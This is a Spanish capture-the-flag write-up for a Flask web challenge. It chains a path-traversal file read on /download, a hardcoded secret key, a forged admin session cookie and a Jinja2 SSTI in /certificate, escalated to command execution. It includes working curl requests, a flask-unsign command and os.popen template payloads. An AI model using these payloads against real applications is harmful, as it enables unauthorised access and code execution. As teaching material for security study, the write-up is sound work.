Este reto corresponde a la categoría web del CTF de la HackOn de la URJC de 2026. Las reglas indican que no se permite el uso de fuzzing ni de ataques automáticos. El objetivo es analizar y explotar la aplicación web de forma manual.

MiniPosts. Nueva red social de tu programador web favorito, qixfnqu. Ideal para compartir tus ideas con el mundo. Eso sí, se me han quejado de funcionalidades inútiles en la página, lo cual me parece una falta de respeto.

Url: https://hackon-mini-posts.chals.io (actualmente offline)

1. Planteamiento inicial

La aplicación es una web sencilla que tiene página de login, página de registro y un dashboard desde el que los usuarios pueden publicar posts.

Al usar la extensión Wappalyzer, podemos ver que la aplicación está desarrollada con Flask, un framework de Python.

La descripción del reto incluye una pista importante: "funcionalidades inútiles". Esto sugiere que el fallo probablemente no sea una vulnerabilidad clásica, sino un problema en la lógica de la aplicación.

2. Exploración manual de la aplicación

Registro, login y dashboard

Comenzamos explorando manualmente la aplicación para entender cómo funciona.

Primero, accedemos a la página de login. Intentamos iniciar sesión con credenciales aleatorias y la aplicación responde con un error, lo que indica que, en apariencia, el sistema de autenticación funciona.

Después nos dirigimos a la página de registro, donde creamos un usuario nuevo. Una vez completado el registro, iniciamos sesión y accedemos al dashboard de la aplicación. Desde esta sección es posible crear posts, por lo que decidimos utilizar este punto para analizar cómo gestiona la aplicación los datos introducidos por el usuario.

En seguridad web, cualquier dato introducido por el usuario debe considerarse potencialmente malicioso. Por ello, el servidor debería tratar estos datos como texto y nunca ejecutarlos como código. Para comprobar cómo se comporta la aplicación, empezamos realizando algunas pruebas sencillas.

Probamos un intento básico de XSS, introduciendo <script>alert(1)</script> como contenido del post. Tras publicarlo, vemos que el texto se muestra en la página exactamente como lo hemos escrito, sin que el navegador ejecute el script. Esto indica que la aplicación está escapando correctamente el contenido antes de mostrarlo.

A continuación probamos si el contenido se interpreta como una plantilla del servidor introduciendo {{7*7}}, una expresión típica para detectar posibles vulnerabilidades de Server-Side Template Injection (SSTI). En este caso la expresión tampoco se evalúa.

También consideramos la posibilidad de una inyección SQL, pero el comportamiento de la aplicación no muestra señales que apunten en esa dirección. Los campos parecen tratarse únicamente como texto y no observamos errores ni respuestas inusuales al introducir caracteres especiales.

Parece que en esta parte no hay vulnerabilidades, así que seguimos analizando la página web.

3. Funcionalidad sospechosa: endpoint de descarga

Continuamos explorando la aplicación en busca de alguna funcionalidad defectuosa, tal como sugiere la descripción del reto.

Vemos que podemos descargar el feed de los posts pulsando el botón Download feed. Este botón corresponde al endpoint /download, que descarga un archivo llamado posts.log.

El contenido de posts.log no coincide con los posts que aparecen en la página web. Esto indica que la funcionalidad de descarga no utiliza la misma lógica que el dashboard: mientras el dashboard muestra los posts recientes, la descarga devuelve otro conjunto de datos. Coincide con la pista del reto sobre "funcionalidades inútiles".

Análisis de la petición /download

Para entender mejor cómo funciona la descarga, inspeccionamos la petición desde las herramientas de desarrollador del navegador. El botón Download feed realiza una petición POST a /download enviando un JSON con un parámetro filename.

Al inspeccionar el código fuente de la página (View Source), podemos ver el JavaScript que maneja la descarga:

const filename = "posts.log";

const res = await fetch("/download", {
   method: "POST",
   headers: {
       "Content-Type": "application/json"
   },
   body: JSON.stringify({ filename })
});

El cliente envía al servidor el nombre del archivo que quiere descargar, lo que es una señal sospechosa: el cliente controla el nombre del archivo.

Además, como ya habíamos visto antes, la descarga devuelve un archivo que no coincide con lo que aparece en el dashboard, por lo que el backend puede estar leyendo directamente algún archivo del servidor.

Si el servidor realmente está leyendo archivos cuyo nombre viene del cliente, entonces podría existir una vulnerabilidad de lectura arbitraria de archivos.

Arbitrary File Read

Para comprobar cómo se comporta el endpoint, decidimos interactuar directamente con él usando curl. Queremos comprobar si el servidor acepta rutas diferentes al archivo esperado.

Primero copiamos la cookie de sesión de nuestro navegador tras hacer login, para incluidarla en la petición.

curl -X POST https://hackon-mini-posts.chals.io/download \
-H "Content-Type: application/json" \
-H "Cookie: session=COOKIE_DE_SESION" \
-d '{"filename":"../posts.log"}' \
-o test.log

A partir de aquí empezamos a probar distintos valores en el parámetro filename. Podemos probar diferentes rutas y nombres de archivo para comprobar qué archivos son accesibles desde el servidor. Muchos de los intentos devuelven 404, indicando que el archivo no existe, pero tenemos éxitco con app.py. En muchas aplicaciones Flask sencillas, el archivo principal del proyecto suele llamarse app.py, ya que es donde se define la aplicación y sus rutas.

Así, esta petición nos devuelve el contenido del archivo app.py:

curl -X POST https://hackon-mini-posts.chals.io/download \
-H "Content-Type: application/json" \
-H "Cookie: session=COOKIE_DE_SESION" \
-d '{"filename":"../app.py"}' \
-o test.log

El endpoint está leyendo directamente archivos del sistema, sin validar correctamente el nombre recibido, ya que el servidor confía directamente en el valor de filename. Esto permite leer cualquier archivo accesible para la aplicación. Es un caso clásico de arbitrary file read.

Gracias a esta vulnerabilidad, podemos leer app.py, que contiene el código del backend.

4. Análisis del código del backend

Leemos el archivo app.py en busca de vulnerabilidades.

Secret key hardcodeada en el código

En el código encontramos una vulnerabilidad crítica: la clave secreta de Flask está hardcodeada directamente en el código.

app.secret_key = "hardcoded key, so unprofessional"

Flask utiliza esta clave para firmar las cookies de sesión. Si un atacante conoce la secret_key, puede generar cookies de sesión válidas y falsificar identidades dentro de la aplicación.

Endpoint /certificate

Si seguimos analizando el código, vemos que hay varios endpoints. Encontramos el de /donwload, y otros como /post, /login o /register.

Un endpoint que parece particularmente interesante es /certificate, donde se utiliza render_template_string, una función potencialmente peligrosa cuando procesa datos controlados por el usuario, ya que puede permitir vulnerabilidades de Server-Side Template Injection (SSTI).

Por otro lado, vemos que el endpoint requiere permisos de admin.

@app.route("/certificate", methods=["POST"])
def certificate():
    if session.get("role") != "admin":
        abort(403)

    name = request.form.get("name", "")
    reason = request.form.get("reason", "Verified MiniPosts User")

    template = f"""
    Certificate of Achievement

    This certifies that:

    {name}

    has successfully completed:
    {reason}

    Congratulations!
    """

    rendered_text = render_template_string(template)

    buffer = BytesIO()
    pdf = canvas.Canvas(buffer, pagesize=A4)
    width, height = A4

    y = height - 100
    for line in rendered_text.split("\n"):
        pdf.drawString(80, y, line)
        y -= 20

    pdf.showPage()
    pdf.save()

    buffer.seek(0)

    return send_file(
        buffer,
        as_attachment=True,
        download_name="certificate.pdf",
        mimetype="application/pdf"
    )

5. Escalada de privilegios

Para poder probar el endpoint /certificate y ver si podemos aprovecharnos de su vulnerbilidad, necesitamos realizar la petición con privilegios de administrador. Aquí es donde aprovechamos la secret key que hemos encontrado anteriormente.

Forjado de la cookie de sesión

Vamos a generar una cookie válida de admin usando flask-unsign, con la secret key obtenida.

flask-unsign \
  --sign \
  --cookie "{'user_id':1,'username':'admin','role':'admin'}" \
  --secret "hardcoded key, so unprofessional"

Esto genera una cookie de sesión válida, en este caso, de admin.

Acceso a /admin

Ahora, podemos conectarnos a la aplicación con esta nueva cookie de sesión. Reemplazamos la cookie session en el navegador mediante DevTools. Tras hacerlo, el acceso al Admin Panel es visible y vemos que estamos conectados como admin.

6. Explotación

Ahora que estamos conectamos como admin en la aplicación, vamos a probar la funcionadad del endpoint /certificate, que permite generar certificados en PDF.

Vulnerabilidad Server‑Side Template Injection (SSTI)

Como hemos visto anteriormente, el endpoint /certificate utiliza la función render_template_string(), una función potencialmente peligrosa. Esta función procesa el contenido recibido como una plantilla Jinja2, el motor de plantillas de Flask. Si parte de esa plantilla incluye datos controlados por el usuario, dichos datos pueden ser interpretados como expresiones de Jinja y evaluados por el servidor.

En este caso, los valores name y reason provienen directamente de la entrada del usuario y se insertan en la plantilla sin ningún tipo de validación. Esto introduce una vulnerabilidad de Server-Side Template Injection (SSTI).

Para comprobarlo, pulsamos el botón para generar el certificado, pero introduciendo el texto {{7*7}}. Cuando vemos el pdf generado, este incluye el output ཭'. Esto confirma que el input se está evaluando como código en el servidor.

Remote Code Execution (RCE)

Una vez confirmada la SSTI, es posible ejecutar código en el servidor, lo que constituye un caso de Remote Code Execution (RCE).

Por ejemplo, utilizamos este payload:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

Este payload accede al objeto cycler, disponible en el entorno de Jinja2. A través de su atributo __globals__, es posible acceder al módulo os de Python y ejecutar comandos del sistema mediante os.popen().

Al ejecutar el comando id, obtenemos:

uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

Esto confirma que hemos conseguido RCE.

Obtención de la flag

Con RCE podemos ejecutar comandos del sistema:

{{ cycler.__init__.__globals__.os.popen('ls').read() }}

Al listar los archivos del sistema aparece el archivo que contiene la flag.

Finalmente:

{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}

De esta manera, obtenemos la flag.

7. Recapitulación

La explotación completa del reto se basa en una cadena de vulnerabilidades:

  • El endpoint /download permite leer archivos arbitrarios del servidor (arbitrary file read).
  • Esto permite descargar el archivo app.py y analizar el código del backend.
  • En el código se descubre una secret key hardcodeada, lo que permite falsificar cookies de sesión.
  • Con una cookie forjada se obtiene acceso al panel de administración.
  • El endpoint /certificate contiene una vulnerabilidad SSTI debido al uso de render_template_string con datos controlados por el usuario.
  • Esta SSTI se puede escalar hasta Remote Code Execution (RCE).
  • Finalmente, mediante la ejecución de comandos en el servidor obtenemos la flag.
None